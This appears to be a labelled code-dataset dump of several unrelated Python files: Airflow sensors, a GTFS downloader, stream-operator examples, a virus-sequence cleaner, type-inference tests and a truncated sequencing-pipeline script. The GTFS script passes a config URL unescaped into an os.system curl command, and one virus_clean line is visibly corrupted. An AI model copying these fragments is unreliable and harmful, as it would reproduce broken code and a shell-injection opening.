poke_partition(self.partition_names[self.next_poke_idx]): self.next_poke_idx += 1 else: return False return True class HivePartitionSensor(BaseSensorOperator): """""" Waits for a partition to show up in Hive. Note: Because @partition supports general logical operators, it can be inefficient. Consider using NamedHivePartitionSensor instead if you don't need the full flexibility of HivePartitionSensor. :param table: The name of the table to wait for, supports the dot notation (my_database.my_table) :type table: string :param partition: The partition clause to wait for. This is passed as is to the metastore Thrift client ""get_partitions_by_filter"" method, and apparently supports SQL like notation as in `ds='2015-01-01' AND type='value'` and > < sings as in ""ds>=2015-01-01"" :type partition: string :param metastore_conn_id: reference to the metastore thrift service connection id :type metastore_conn_id: str """""" template_fields = ('schema', 'table', 'partition',) @apply_defaults def __init__( self, table, partition=""ds='{{ ds }}'"", metastore_conn_id='metastore_default', schema='default', poke_interval=60*3, *args, **kwargs): super(HivePartitionSensor, self).__init__( poke_interval=poke_interval, *args, **kwargs) if not partition: partition = ""ds='{{ ds }}'"" self.metastore_conn_id = metastore_conn_id self.table = table self.partition = partition self.schema = schema def poke(self, context): if '.' in self.table: self.schema, self.table = self.table.split('.') logging.info( 'Poking for table {self.schema}.{self.table}, ' 'partition {self.partition}'.format(**locals())) if not hasattr(self, 'hook'): self.hook = airflow.hooks.hive_hooks.HiveMetastoreHook( metastore_conn_id=self.metastore_conn_id) return self.hook.check_for_partition( self.schema, self.table, self.partition) class HdfsSensor(BaseSensorOperator): """""" Waits for a file or folder to land in HDFS """""" template_fields = ('filepath',) @apply_defaults def __init__( self, filepath, hdfs_conn_id='hdfs_default', *args, **kwargs): super(HdfsSensor, self).__init__(*args, **kwargs) self.filepath = filepath self.hdfs_conn_id = hdfs_conn_id def poke(self, context): import airflow.hooks.hdfs_hook sb = airflow.hooks.hdfs_hook.HDFSHook(self.hdfs_conn_id).get_conn() logging.getLogger(""snakebite"").setLevel(logging.WARNING) logging.info( 'Poking for file {self.filepath} '.format(**locals())) try: files = [f for f in sb.ls([self.filepath])] except: return False return True class WebHdfsSensor(BaseSensorOperator): """""" Waits for a file or folder to land in HDFS """""" template_fields = ('filepath',) @apply_defaults def __init__( self, filepath, webhdfs_conn_id='webhdfs_default', *args, **kwargs): super(WebHdfsSensor, self).__init__(*args, **kwargs) self.filepath = filepath self.webhdfs_conn_id = webhdfs_conn_id def poke(self, context): c = airflow.hooks.webhdfs_hook.WebHDFSHook(self.webhdfs_conn_id) logging.info( 'Poking for file {self.filepath} '.format(**locals())) return c.check_for_path(hdfs_path=self.filepath) class S3KeySensor(BaseSensorOperator): """""" Waits for a key (a file-like instance on S3) to be present in a S3 bucket. S3 being a key/value it does not support folders. The path is just a key a resource. :param bucket_key: The key being waited on. Supports full s3:// style url or relative path from root level. :type bucket_key: str :param bucket_name: Name of the S3 bucket :type bucket_name: str :param wildcard_match: whether the bucket_key should be interpreted as a Unix wildcard pattern :type wildcard_match: bool :param s3_conn_id: a reference to the s3 connection :type s3_conn_id: str """""" template_fields = ('bucket_key', 'bucket_name') @apply_defaults def __init__( self, bucket_key, bucket_name=None, wildcard_match=False, s3_conn_id='s3_default', *args, **kwargs): super(S3KeySensor, self).__init__(*args, **kwargs) session = settings.Session() db = session.query(DB).filter(DB.conn_id == s3_conn_id).first() if not db: raise AirflowException(""conn_id doesn't exist in the repository"") # Parse if bucket_name is None: parsed_url = urlparse(bucket_key) if parsed_url.netloc == '': raise AirflowException('Please provide a bucket_name') else: bucket_name = parsed_url.netloc if parsed_url.path[0] == '/': bucket_key = parsed_url.path[1:] else: bucket_key = parsed_url.path self.bucket_name = bucket_name self.bucket_key = bucket_key self.wildcard_match = wildcard_match self.s3_conn_id = s3_conn_id session.commit() session.close() def poke(self, context): import airflow.hooks.S3_hook hook = airflow.hooks.S3_hook.S3Hook(s3_conn_id=self.s3_conn_id) full_url = ""s3://"" + self.bucket_name + ""/"" + self.bucket_key logging.info('Poking for key : {full_url}'.format(**locals())) if self.wildcard_match: return hook.check_for_wildcard_key(self.bucket_key, self.bucket_name) else: return hook.check_for_key(self.bucket_key, self.bucket_name) class S3PrefixSensor(BaseSensorOperator): """""" Waits for a prefix to exist. A prefix is the first part of a key, thus enabling checking of constructs similar to glob airfl* or SQL LIKE 'airfl%'. There is the possibility to precise a delimiter to indicate the hierarchy or keys, meaning that the match will stop at that delimiter. Current code accepts sane delimiters, i.e. characters that are NOT special characters in the Python regex engine. :param bucket_name: Name of the S3 bucket :type bucket_name: str :param prefix: The prefix being waited on. Relative path from bucket root level. :type prefix: str :param delimiter: The delimiter intended to show hierarchy. Defaults to '/'. :type delimiter: str """""" template_fields = ('prefix', 'bucket_name') @apply_defaults def __init__( self, bucket_name, prefix, delimiter='/', s3_conn_id='s3_default', *args, **kwargs): super(S3PrefixSensor, self).__init__(*args, **kwargs) session = settings.Session() db = session.query(DB).filter(DB.conn_id == s3_conn_id).first() if not db: raise AirflowException(""conn_id doesn't exist in the repository"") # Parse self.bucket_name = bucket_name self.prefix = prefix self.delimiter = delimiter self.full_url = ""s3://"" + bucket_name + '/' + prefix self.s3_conn_id = s3_conn_id session.commit() session.close() def poke(self, context): logging.info('Poking for prefix : {self.prefix}\n' 'in bucket s3://{self.bucket_name}'.format(**locals())) import airflow.hooks.S3_hook hook = airflow.hooks.S3_hook.S3Hook(s3_conn_id=self.s3_conn_id) return hook.check_for_prefix( prefix=self.prefix, delimiter=self.delimiter, bucket_name=self.bucket_name) class TimeSensor(BaseSensorOperator): """""" Waits until the specified time of the day. :param target_time: time after which the job succeeds :type target_time: datetime.time """""" template_fields = tuple() @apply_defaults def __init__(self, target_time, *args, **kwargs): super(TimeSensor, self).__init__(*args, **kwargs) self.target_time = target_time def poke(self, context): logging.info( 'Checking if the time ({0}) has come'.format(self.target_time)) return datetime.now().time() > self.target_time class TimeDeltaSensor(BaseSensorOperator): """""" Waits for a timedelta after the task's execution_date + schedule_interval. In Airflow, the daily task stamped with ``execution_date`` 2016-01-01 can only start running on 2016-01-02. The timedelta here represents the time after the execution period has closed. :param delta: time length to wait after execution_date before succeeding :type delta: datetime.timedelta """""" template_fields = tuple() @apply_defaults def __init__(self, delta, *args, **kwargs): super(TimeDeltaSensor, self).__init__(*args, **kwargs) self.delta = delta def poke(self, context): dag = context['dag'] target_dttm = dag.following_schedule(context['execution_date']) target_dttm += self.delta logging.info('Checking if the time ({0}) has come'.format(target_dttm)) return datetime.now() > target_dttm class HttpSensor(BaseSensorOperator): """""" Executes a HTTP get statement and returns False on failure: 404 not found or response_check function returned False :param http_conn_id: The connection to run the sensor against :type http_conn_id: string :param endpoint: The relative part of the full url :type endpoint: string :param params: The parameters to be added to the GET url :type params: a dictionary of string key/value pairs :param headers: The HTTP headers to be added to the GET request :type headers: a dictionary of string key/value pairs :param response_check: A check against the 'requests' response object. Returns True for 'pass' and False otherwise. :type response_check: A lambda or defined function. :param extra_options: Extra options for the 'requests' library, see the 'requests' documentation (options to modify timeout, ssl, etc.) :type extra_options: A dictionary of options, where key is string and value depends on the option that's being modified. """""" template_fields = ('endpoint',) @apply_defaults def __init__(self, endpoint, http_conn_id='http_default', params=None, headers=None, response_check=None, extra_options=None, *args, **kwargs): super(HttpSensor, self).__init__(*args, **kwargs) self.endpoint = endpoint self.http_conn_id = http_conn_id self.params = params or {} self.headers = headers or {} self.extra_options = extra_options or {} self.response_check = response_check self.hook = hooks.http_hook.HttpHook(method='GET', http_conn_id=http_conn_id) def poke(self, context): logging.info('Poking: ' + self.endpoint) try: response = self.hook.run(self.endpoint, data=self.params, headers=self.headers, extra_options=self.extra_options) if self.response_check: # run content check on response return self.response_check(response) except AirflowException as ae: if str(ae).startswith(""404""): return False raise ae return True ",1 """ import argparse import datetime import hashlib import json import logging import os import resource import shutil import sys import tempfile import time import zipfile def _main(): parser = argparse.ArgumentParser() parser.add_argument('config', help='JSON configuration file') parser.add_argument('--only-download', action='store_true', help='Only download GTFS file') parser.add_argument('--use-no-q-dirs', action='store_true', help='Do not use Q dirs') args = parser.parse_args() _init_logging() start_time = time.time() logging.debug('started {}'.format(sys.argv)) config = _load_config(args.config) gtfs_name = config['name'] downloaded_gtfs_zip = _download_gtfs(config['url']) modify_date = _get_modify_date(downloaded_gtfs_zip) gtfs_dir = _get_q_dir(config['gtfs_dir'], modify_date, not args.use_no_q_dirs) gtfs_zip = _rename_gtfs_zip(gtfs_dir, downloaded_gtfs_zip, gtfs_name, modify_date) if gtfs_zip and (not args.only_download): log_dir = _get_q_dir(config['log_dir'], modify_date, not args.use_no_q_dirs) _generate_json(gtfs_name, modify_date, gtfs_zip, config['json_dir'], log_dir) logging.debug('took {} seconds, max mem: {} megabytes'.format( int(time.time() - start_time), resource.getrusage(resource.RUSAGE_SELF).ru_maxrss / 1024)) def _init_logging(): log_format = '%(asctime)s %(levelname)s %(filename)s:%(lineno)d %(funcName)s: %(message)s' logging.basicConfig(filename='generate.log', format=log_format, level=logging.DEBUG) def _progress(text): print(text) logging.debug(text) def _progress_warning(text): print('\033[31m{}\033[0m'.format(text)) logging.warning(text) def _load_config(config_path): with open(config_path) as config_file: return json.load(config_file) def _download_gtfs(url): output_file, output_filename = tempfile.mkstemp(dir='.') os.close(output_file) curl_options = '--header ""Accept-Encoding: gzip"" --location' command = 'curl {} ""{}"" > {}'.format(curl_options, url, output_filename) _progress('downloading gtfs file into: {}'.format(os.path.relpath(output_filename))) _execute_command(command) return output_filename def _execute_command(command): if os.system(command) != 0: raise SystemExit('failed to execute: {}'.format(command)) def _get_modify_date(zip_filename): modify_times = _get_modify_times(zip_filename) if len(modify_times) > 1: _progress_warning('multiple modify times: {}'.format(modify_times)) return sorted(modify_times)[-1] def _get_modify_times(zip_filename): modify_times = set() with zipfile.ZipFile(zip_filename) as zip_file: for info in zip_file.infolist(): modify_times.add(datetime.datetime(*info.date_time).strftime('%Y%m%d')) return modify_times def _get_q_dir(base_dir, modify_date, create_q_dir): if create_q_dir: modify_month = int(modify_date[4:6]) q_dir = '{}_q{}'.format(modify_date[:4], 1 + ((modify_month - 1) // 3)) return os.path.join(base_dir, q_dir) return base_dir def _rename_gtfs_zip(gtfs_dir, old_filename, gtfs_name, modify_date): _create_dir(gtfs_dir) new_filename = os.path.join(gtfs_dir, '{}_{}.zip'.format(gtfs_name, modify_date)) if os.path.isfile(new_filename): if _compare_files(old_filename, new_filename): _progress('downloaded gtfs file is identical to: {}'.format(new_filename)) os.remove(old_filename) return None _rename_existing_file(new_filename) os.rename(old_filename, new_filename) _progress('renamed: {} -> {}'.format(old_filename, new_filename)) return new_filename def _create_dir(new_dir): if not os.path.isdir(new_dir): os.makedirs(new_dir) def _compare_files(filename_a, filename_b): return _get_hash(filename_a) == _get_hash(filename_b) def _get_hash(filename): file_hash = hashlib.sha256() with open(filename, 'rb') as input_file: file_hash.update(input_file.read()) return file_hash.digest() def _generate_json(gtfs_name, modify_date, gtfs_zip, json_dir, log_dir): _create_dir(json_dir) date_output_file = os.path.join(json_dir, '{}_{}.json'.format(gtfs_name, modify_date)) _rename_existing_file(date_output_file) _create_dir(log_dir) log_path = os.path.join(log_dir, 'gtfs2json_{}_{}_{}.log'.format(gtfs_name, modify_date, _get_now_timestamp())) _progress('generating json for {}'.format(gtfs_zip)) command = '{}/gtfs2json.py --log-file {} {} {}'.format(os.path.dirname(__file__), log_path, gtfs_zip, date_output_file) _execute_command(command) _create_base_output_file(date_output_file, os.path.join(json_dir, '{}.json'.format(gtfs_name))) def _create_base_output_file(date_output_file, base_output_file): if os.path.isfile(base_output_file): _progress('deleting {}'.format(base_output_file)) os.remove(base_output_file) _progress('copying {} to {}'.format(date_output_file, base_output_file)) shutil.copyfile(date_output_file, base_output_file) def _rename_existing_file(filename): if os.path.isfile(filename): suffix = filename.split('.')[-1] new_filename = filename.replace('.{}'.format(suffix), '_{}.{}'.format(_get_now_timestamp(), suffix)) os.rename(filename, new_filename) _progress_warning('renamed existing {} file {} -> {}'.format(suffix, filename, new_filename)) def _get_now_timestamp(): return datetime.datetime.now().strftime('%Y%m%d_%H%M%S') if __name__ == ""__main__"": _main() ",1 " function from a list to a list. These lists are of lists of arbitrary objects other than streams and agents. Function f must be stateless, i.e., for any lists u, v: f(u.extend(v)) = f(u).extend(f(v)) (Stateful functions are given in OpStateful.py with examples in ExamplesOpWithState.py.) Let f be a stateless operator on lists and let x be a stream. If at some point, the value of stream x is a list u then at that point, the value of stream op(f,x) is the list f(u). If at a later point, the value of stream x is the list: u.extend(v) then, at that point the value of stream op(f,x) is f(u).extend(f(v)). As a specific example, consider the following f(): def f(lst): return [w * w for w in lst] If at some point in time, the value of x is [3, 7], then at that point the value of op(f,x) is f([3, 7]) or [9, 49]. If at a later point, the value of x is [3, 7, 0, 11, 5] then the value of op(f,x) at that point is f([3, 7, 0, 11, 5]) or [9, 49, 0, 121, 25]. """""" if __name__ == '__main__': if __package__ is None: import sys from os import path sys.path.append( path.dirname( path.dirname( path.abspath(__file__) ) ) ) from Agent import * from ListOperators import * from PrintFunctions import print_streams_recent def example_1(): print ""example_1"" print ""op(f, x): f is a function from a list to a list"" print ""x is a stream \n"" # FUNCTIONS FROM LIST TO LIST # This example uses the following list operators: # functions from a list to a list. # f, g, h, r # Example A: function using list comprehension def f(lst): return [w*w for w in lst] # Example B: function using filter threshold = 6 def predicate(w): return w > threshold def g(lst): return filter(predicate, lst) # Example C: function using map # Raise each element of the list to the n-th power. n = 3 def power(w): return w**n def h(lst): return map(power, lst) # Example D: function using another list comprehension # Discard any element of x that is not a # multiple of a parameter n, and divide the # elements that are multiples of n by n. n = 3 def r(lst): result = [] for w in lst: if w%n == 0: result.append(w/n) return result # EXAMPLES OF OPERATIONS ON STREAMS # The input stream for these examples x = Stream('x') print 'x is the input stream.' print 'a is a stream consisting of the squares of the input' print 'b is the stream consisting of values that exceed 6' print 'c is the stream consisting of the third powers of the input' print 'd is the stream consisting of values that are multiples of 3 divided by 3' print 'newa is the same as a. It is defined in a more succinct fashion.' print 'newb has squares that exceed 6.' print '' # The output streams a, b, c, d obtained by # applying the list operators f, g, h, r to # stream x. a = op(f, x) b = op(g, x) c = op(h, x) d = op(r, x) # You can also define a function only on streams. # You can do this using functools in Python or # by simple encapsulation as shown below. def F(x): return op(f,x) def G(x): return op(g,x) newa = F(x) newb = G(F(x)) # The advantage is that F is a function only # of streams. So, function composition looks cleaner # as in G(F(x)) # Name the output streams to label the output # so that reading the output is easier. a.set_name('a') newa.set_name('newa') b.set_name('b') newb.set_name('newb') c.set_name('c') d.set_name('d') # At this point x is the empty stream: # its value is [] x.extend([3, 7]) # Now the value of x is [3, 7] print ""FIRST STEP"" print_streams_recent([x, a, b, c, d, newa, newb]) print """" x.extend([0, 11, 15]) # Now the value of x is [3, 7, 0, 11, 15] print ""SECOND STEP"" print_streams_recent([x, a, b, c, d, newa, newb]) def main(): example_1() if __name__ == '__main__': main() ",1 "om itertools import izip from Bio.Align import MultipleSeqAlignment from Bio.Seq import Seq from scipy import stats import numpy as np class virus_clean(object): """"""docstring for virus_clean"""""" def __init__(self,n_iqd = 5, **kwargs): ''' parameters n_std -- number of interquartile distances accepted in molecular clock filter ''' self.n_iqd = n_iqd def remove_insertions(self): ''' remove all columns from the alignment in which the outgroup is gapped ''' outgroup_ok = np.array(self.sequence_lookup[self.outgroup['strain']])!='-' for seq in self.viruses: seq.seq = Seq("""".join(np.array(seq.seq)[outgroup_ok]).upper()) def clean_gaps(self): ''' remove viruses with gaps -- not part of the standard pipeline ''' self.viruses = filter(lambda x: '-' in x.seq, self.viruses) def clean_ambiguous(self): ''' substitute all ambiguous characters with '-', ancestral inference will interpret this as missing data ''' for v in self.viruses: v.seq = Seq(re.sub(r'[BDEFHIJKLMNOPQRSUVWXYZ]', '-',str(v.seq))) def unique_date(self): ''' add a unique numerical date to each leaf. uniqueness is achieved adding a small number ''' from date_util import numerical_date og = self.sequence_lookup[self.outgroup['strain']] if hasattr(og, 'date'): try: og.num_date = numerical_date(og.date) except: print ""cannot parse date"" og.num_date=""undefined""; for ii, v in enumerate(self.viruses): if hasattr(v, 'date'): try: v.num_date = numerical_date(v.date, self.date_format['fields']) + 1e-7*(ii+1) except: print ""cannot parse date"" v.num_date=""undefined""; def times_from_outgroup(self): outgroup_date = self.sequence_lookup[self.outgroup['strain']].num_date return np.array([x.num_date-outgroup_date for x in self.viruses if x.strain]) def distance_from_outgroup(self): from seq_util import hamming_distance outgroup_seq = self.sequence_lookup[self.outgroup['strain']].seq return np.array([hamming_distance(x.seq, outgroup_seq) for x in self.viruses if x.strain]) def clean_distances(self): """"""Remove viruses that don't follow a loose clock """""" times = self.times_from_outgroup() distances = self.distance_from_outgroup() slope, intercept, r_value, p_value, std_err = stats.linregress(times, distances) residuals = slope*times + intercept - distances r_iqd = stats.scoreatpercentile(residuals,75) - stats.scoreatpercentile(residuals,25) if self.verbose: print ""\tslope: "" + str(slope) print ""\tr: "" + str(r_value) print ""\tresiduals iqd: "" + str(r_iqd) new_viruses = [] for (v,r) in izip(self.viruses,residuals): # filter viruses more than n_std standard devitations up or down if np.abs(r)1: print ""\t\tresidual:"", r, ""\nremoved "",v.strain self.viruses = MultipleSeqAlignment(new_viruses) def clean_generic(self): print ""Number of viruses before cleaning:"",len(self.viruses) self.unique_date() self.remove_insertions() self.clean_ambiguous() self.clean_distances() self.viruses.sort(key=lambda x:x.num_date) print ""Number of viruses after outlier filtering:"",len(self.viruses) ",1 "ange(i) for i in d] # 0 [[int]] y = [(a,b) for a,b in {1:'2'}.iteritems()] # 0 [(int,str)] b = 1 # 0 int if 0: b = '' # 4 str else: b = str(b) # 4 str # 12 int r = 0 # 0 int if r: # 3 int r = str(r) # 4 str # 12 int r # 0 l = range(5) # 0 [int] l2 = l[2:3] # 0 [int] x = l2[1] # 0 int k = 1() # 0 # e 4 del k k # e 0 l = [] # 0 [int] x = 1 # 0 int while x: # 6 int l = [] # 4 [int] l.append(1) # 0 [int] # 2 (int) -> None l = [1, 2] # 0 [int] l2 = [x for x in l] # 0 [] l2.append('') # 0 [] s = str() # 0 str s2 = str(s) # 0 str s3 = repr() # e 5 # 0 str s4 = repr(s) # 0 str x = 1 if [] else '' # 0 l = [1] # 0 [] l2 = [''] # 0 [str] l[:] = l2 # 0 [] b = 1 < 2 < 3 # 0 bool l = sorted(range(5), key=lambda x:-x) # 0 [int] d = {} # 0 {:} d1 = {1:''} # 0 {int:str} d.update(d1) d[True] = 1 d # 0 {:} l = [] # 0 [int] l1 = [] # 0 [] l.extend(l1) l.append(2) l = [] # 0 [<[str]|int>] l1 = [[]] # 0 [[str]] l.extend(l1) l[0].append('') # e 0 l.append(1) l = [] # 0 [[]] l2 = [1] # 0 [int] l3 = [''] # 0 [str] l.append(l2) l.append(l3) for i, s in enumerate(""aoeu""): # 4 int # 7 str pass x = 1 # 0 int y = x + 1.0 # 0 float y << 1 # e 0 l = [1, 1.0] # 0 [float] 1.0 in [1] # e 0 x = `1` # 0 str def f(): x = `1` # 4 str d = dict(a=1) # 0 {str:int} l = list() # 0 [] i = int(1) # 0 int i = int(1.2) # 0 int i = abs(1) # 0 int i = abs(1.0) # 0 float d = dict() # 0 {int:int} d[1] = 2 d2 = dict(d) # 0 {:} d2[''] = '' d3 = dict([(1,2)]) # 0 {int:int} d4 = dict(a=1) # 0 {str:int} ",1 "datetime import datetime import argparse import shutil import math from glob import glob import gzip from shi7 import __version__ from shi7.shi7 import TRUE_FALSE_DICT, read_fastq, axe_adaptors_single_end, axe_adaptors_paired_end, flash_part1, \ flash_part2, split_fwd_rev, match_pairs, link_manicured_names def make_arg_parser(): parser = argparse.ArgumentParser(description='This is the commandline interface for shi7_learning', usage='shi7_learning v{version}\nshi7_learning.py -i -o ...'.format(version=__version__)) parser.add_argument('-i', '--input', help='Set the directory path of the fastq directory OR oligos.txt if splitting', required=True) parser.add_argument('-o', '--output', help='Set the directory path of the output (default: cwd)', default=os.getcwd()) parser.add_argument('--debug', help='Retain all intermediate files (default: Disabled)', dest='debug', action='store_true') parser.add_argument('-t', '--threads', help='Set the number of threads (default: %(default)s)', default=min(multiprocessing.cpu_count(), 16)) parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + __version__) parser.set_defaults() return parser def subsample_fastqs(path_fastqs, num_files=10, num_sequences=1000): for i, path_fastq in enumerate(path_fastqs): if i >= num_files: return with open(path_fastq) as fastq_inf: fastq_gen = read_fastq(fastq_inf) yield limit_fastq(fastq_gen, num_sequences=num_sequences) def limit_fastq(fastq_gen, num_sequences=1000): for i in range(num_sequences): try: yield next(fastq_gen) except StopIteration: return def get_seq_length_qual_scores(path_fastqs, output_path, num_files=10, num_sequences=1000): subsampled_fastqs = subsample_fastqs(path_fastqs, num_files=num_files, num_sequences=num_sequences) sequence_len_sum = 0. quality_sum = 0 num_sequences = 0. for fastq_path, fastq_gen in zip(path_fastqs, subsampled_fastqs): with open(os.path.join(output_path, os.path.basename(fastq_path)), 'w') as outf: for header, sequence, quality in fastq_gen: outf.write(""@%s\n%s\n+\n%s\n"" % (header, sequence, quality)) sequence_len_sum += len(sequence) quality_sum += sum([ord(i) for i in quality]) num_sequences += 1. # Return (average length of sequences, average quality score) return sequence_len_sum/num_sequences, quality_sum/sequence_len_sum def count_num_lines(path): with open(path) as path_inf: return sum(1 for line in path_inf) def get_file_size(path): return os.path.getsize(path) def check_sequence_name(path_R1, path_R2): with open(path_R1) as path_inf_R1, open(path_R2) as path_inf_R2: fastq_gen_R1 = read_fastq(path_inf_R1) fastq_gen_R2 = read_fastq(path_inf_R2) for gen_R1, gen_R2 in zip(fastq_gen_R1,fastq_gen_R2): title_R1, title_R2 = gen_R1[0], gen_R2[0] if len(title_R1) != len(title_R2): return False diff_idx = [i for i in range(len(title_R1)) if title_R1[i] != title_R2[i]] if len(diff_idx) != 1: return False if int(title_R2[diff_idx[0]]) - int(title_R1[diff_idx[0]]) != 1: return False return True def detect_paired_end(path_fastqs): path_fastqs = [f for f in path_fastqs if f.endswith('.fastq') or f.endswith('.fq') or f.endswith('.fastq.gz') or f.endswith('.fq.gz')] if len(path_fastqs) % 2 == 1: return False, [path_fastqs, None, None, None] pair_obj = match_pairs(path_fastqs, True) path_fastqs = pair_obj[0] if pair_obj[1]==None: return False, pair_obj return True, pair_obj def get_directory_size(path): return sum([get_file_size(os.path.join(path, fastq)) for fastq in os.listdir(path)]) def remove_directory_contents(path): for f in os.listdir(path): os.remove(os.path.join(path, f)) def choose_axe_adaptors(path_subsampled_fastqs, paired_end, output_path, threads): adapters = ['TruSeq2', 'TruSeq3', 'TruSeq3-2', 'Nextera'] threads = min(threads, multiprocessing.cpu_count(), 16) original_size = get_directory_size(os.path.dirname(path_subsampled_fastqs[0])) logging.info('Original size of the subsampled_fastqs = ' + str(original_size)) best_size = original_size best_adap = None for adapter in adapters: if paired_end: axe_adaptors_paired_end(path_subsampled_fastqs, output_path, adapter, threads, shell=False) else: axe_adaptors_single_end(path_subsampled_fastqs, output_path, adapter, threads, shell=False) fastqs_path_size = get_directory_size(output_path) logging.info(""Adapters: {adapter}\tFile Size: {filesize}"".format(adapter=adapter, filesize=fastqs_path_size)) if fastqs_path_size <= best_size: best_size = fastqs_path_size best_adap = adapter if best_size < 0.995*original_size: # Actually write the best files again for use in later steps logging.info(""Best Adapters: {adapter}\tFile Size: {filesize}"".format(adapter=best_adap, filesize=best_size)) if paired_end: files = axe_adaptors_paired_end(path_subsampled_fastqs, output_path, best_adap, threads, shell=False) else: files = axe_adaptors_single_end(path_subsampled_fastqs, output_path, best_adap, threads, shell=False) return best_adap, best_size, files else: return None, original_size, path_subsampled_fastqs def flash_stitchable_and_check_outies(adapter_output_filenames, flash_output_path, threads): flash_output_str = flash_part1(adapter_output_filenames, flash_output_path, max_overlap=700, \ min_overlap=10, allow_outies=True, threads=threads, shell=False) allow_outies_count = 0 for flash_out in flash_output_str: flash_str_list = flash_out.strip().split('\n') outies_info = flash_str_list[-8] outies_percent = float(outies_info[outies_info.find('(')+1:outies_info.find('%')]) if outies_percent >= 15: allow_outies_count += 1 path_flash_fqs = flash_part2(flash_output_str, flash_output_path) path_R1_fastqs, _ = split_fwd_rev(adapter_output_filenames) matched_count = 0 for original_fq, flash_fq in zip(path_R1_fastqs, path_flash_fqs): if count_num_lines(flash_fq) > count_num_lines(original_fq)*0.3: matched_count = matched_count + 1 return matched_count/len(path_flash_fqs) >= 0.75, allow_outies_count/len(flash_output_str) >= 0.75, path_flash_fqs def flash_check_cv(flash_output_path): hist_files = [os.path.join(flash_output_path, f) for f in os.listdir(flash_output_path) if f.endswith('.hist')] total_cv = total_mean = 0 for f in hist_files: with open(f) as inf: csv_inf = csv.reader(inf, delimiter=""\t"") x2f = 0 sum = 0 cnt = 0 for row in csv_inf: row = [int(r) for r in row] cnt = cnt + row[1] sum = sum + row[0] * row[1] x2f = x2f + row[0] * row[0] * row[1] mean = sum/cnt std = math.sqrt((x2f - sum*sum/cnt)/(cnt-1)) cv = std/mean total_cv = total_cv + cv total_mean = total_mean + mean total_files = len(hist_files) return total_cv/total_files, total_mean/total_files def trimmer_learning(flash_output_filenames): filter_q_sum = 0 trim_q_sum = 0 totbases = 0 tottrim = 0 num = 0 for fq_path in flash_output_filenames: with open(fq_path) as fq_inf: fq_gen = read_fastq(fq_inf) for gen in fq_gen: num = num + 1 qualities = gen[2] totbases = totbases + len(qualities) qualities = [ord(qual)-33 for qual in qualities] filter_q_sum = filter_q_sum + sum(qualities) if (len(qualities) >= 20): trim_q_sum = trim_q_sum + sum(qualities[:10]) + sum(qualities[-10:]) tottrim = tottrim + 20 logging.info('num seqs: %d' % num) logging.info('filter_q_sum: %d' % filter_q_sum) logging.info('trim_q_sum: %d' % trim_q_sum) logging.info('total bases considered: %d (trim: %d)' % (totbases, tottrim)) logging.info('filter_q: %d' % (filter_q_sum/totbases)) logging.info('trim_q: %d' % (trim_q_sum/tottrim)) filter_q = math.floor(filter_q_sum/totbases) trim_q = math.floor(trim_q_sum/tottrim)-1 trim_q = trim_q if trim_q > filter_q - 3 else filter_q - 3 return filter_q, trim_q def template_input(input): input = os.path.abspath(input) # input, input_cmd return ""input\t{}"".format(input), [""--input"", input] def template_paired_end(bool): # bool, paired_end if bool: return ""paired_end\t{}"".format(str(bool)), None else: return ""paired_end\t{}"".format(str(bool)), [""-SE""] def template_trim(filt_q, trim_q): return ""filt_q: %d, trim_q: %d"" % (filt_q, trim_q), [""--filter_qual"", str(filt_q), ""--trim_qual"", str(trim_q)] def template_cv(minstitch, maxstitch): return ""minstitch: %d, maxstitch: %d"" % (minstitch, maxstitch), [""--min_overlap"", str(minstitch), ""--max_overlap"", str(maxstitch)] def template_output(output): # output, output_cmd output = os.path.abspath(output) return ""output\t{}"".format(output), [""--output"", output] def template_choose_axe_adaptors(best_adapt, best_size): if best_adapt: return ""axe_adaptors\t"" + best_adapt, [""--adaptor"", best_adapt] else: return ""axe_adaptors\tNA"", [""--adaptor"", ""None""] def template_flash(stitches, do_outies): return ""stitches: %s, outies: %s"" % (stitches, do_outies), [""--flash"", str(stitches), ""--allow_outies"", str(do_outies)] def main(): start_time = datetime.now() parser = make_arg_parser() args = parser.parse_args() learning_params = [""shi7.py""] learning_pretty = [""SHI7 version"", __version__] input = os.path.abspath(args.input) output = os.path.abspath(args.output) # Make output folder if not os.path.exists(output): os.makedirs(output) # Put in the logging file logging.basicConfig(filename=os.path.join(output, 'shi7_learning.log'), filemode='w', level=logging.DEBUG, \ format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') # Make temp outfolder if os.path.exists(os.path.join(args.output, 'temp')): shutil.rmtree(os.path.join(args.output, 'temp')) logging.info('Existing temp directory deleted.') os.makedirs(os.path.join(args.output, 'temp')) else: os.makedirs(os.path.join(args.output, 'temp')) path_fastqs = [os.path.join(input, f) for f in os.listdir(input) if f.endswith('fastq') or f.endswith('fq') or f.endswith('fq.gz') or f.endswith('fastq.gz')] if len(path_fastqs) == 0: msg = ""No FASTQS found in input folder {}"".format(input) logging.critical(msg) raise IOError(msg) # Record the input results, addon = template_input(input) logging.info(results) if addon: learning_params.extend(addon) # Write temp subsampled fastqs subsampled_fastq_path = os.path.join(output, 'temp', 'subsampled') os.makedirs(subsampled_fastq_path) totbases = totseqs = 0 for file in path_fastqs: basename = os.path.basename(file) if(file.endswith('.fastq') or file.endswith('.fq')): fastq_inf = open(file) else: fastq_inf = gzip.open(file, 'rt') fastq_gen = read_fastq(fastq_inf) if(basename.endswith('.gz')): basename = basename[:-3] with open(os.path.join(subsampled_fastq_path, basename), 'w') as outf: for header, seq, quality in limit_fastq(fastq_gen): outf.write(""@{header}\n{seq}\n+\n{quality}\n"".format(header=header, seq=seq, quality=quality)) totbases += len(seq) totseqs += 1 avlen = totbases/totseqs path_fastqs = glob(os.path.join(subsampled_fastq_path , ""*"")) # Detect if paired end paired_end, pair_obj = detect_paired_end(path_fastqs) path_fastqs = pair_obj[0] link_outdir = os.path.join(output, 'temp', 'link') os.makedirs(link_outdir) snames = [os.path.basename(n) for n in path_fastqs] path_fastqs = link_manicured_names(path_fastqs, snames, link_outdir, not paired_end, pair_obj[1:]) results, addon = template_paired_end(paired_end) logging.info(results) if addon: learning_params.extend(addon) learning_pretty += [""Paired end"",paired_end] # Detect adapters axe_adaptors_path = os.path.join(output, 'temp', 'axe_adaptors') os.makedirs(axe_adaptors_path) best_adap, best_size, fastq_paths = choose_axe_adaptors(path_fastqs, paired_end, axe_adaptors_path, int(args.threads)) results, addon = template_choose_axe_adaptors(best_adap, best_size) logging.info(results) if addon: learning_params.extend(addon) learning_pretty += [""Detected adaptors"",best_adap] # Detect output folder results, addon = template_output(output) logging.info(results) if addon: learning_params.extend(addon) # Detect stitching stitched_path = os.path.join(output, 'temp', 'flash') os.makedirs(stitched_path) if 